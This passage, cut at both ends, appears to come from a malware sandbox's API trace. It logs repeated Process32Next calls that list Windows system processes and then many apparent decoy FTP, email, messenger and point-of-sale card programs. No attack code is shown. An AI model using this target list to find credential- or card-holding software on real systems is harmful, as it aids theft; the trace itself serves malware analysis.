th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0276.126] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0276.128] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0276.130] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.132] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.135] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0276.137] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.138] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.140] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.142] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.144] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.146] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.148] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.151] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0276.153] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0276.156] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x34, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0276.158] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.160] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0276.161] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0276.163] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0276.165] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0276.167] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0276.169] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0276.171] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0276.172] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.175] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0276.177] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0276.178] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0276.182] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0276.184] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="teammaintain.exe")) returned 1 [0276.187] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cover_more.exe")) returned 1 [0276.189] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="along.exe")) returned 1 [0276.191] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="another artist.exe")) returned 1 [0276.192] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="second-position-home.exe")) returned 1 [0276.194] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="high.exe")) returned 1 [0276.196] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="he mention news.exe")) returned 1 [0276.198] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cup.exe")) returned 1 [0276.200] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="strategy player owner.exe")) returned 1 [0276.202] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="now third.exe")) returned 1 [0276.204] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="safe.exe")) returned 1 [0276.207] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="lossnecessary.exe")) returned 1 [0276.289] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="agent.exe")) returned 1 [0276.290] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk.exe")) returned 1 [0276.293] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="upguess.exe")) returned 1 [0276.295] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0276.297] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0276.299] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0276.301] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0276.303] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0276.306] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x930, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0276.308] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0276.310] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0276.313] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0276.315] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0276.318] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0276.320] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0276.323] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1010, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0276.325] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0276.328] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1028, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0276.330] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0276.333] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0276.336] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1044, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0276.338] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1054, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0276.340] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x105c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0276.343] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1070, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0276.345] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0276.348] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1088, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0276.350] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0276.352] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x109c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0276.354] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0276.356] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0276.358] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0276.361] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0276.364] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0276.366] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0276.368] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0276.370] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1100, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0276.372] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0276.375] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0276.377] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0276.379] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0276.382] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0276.384] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0276.394] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, 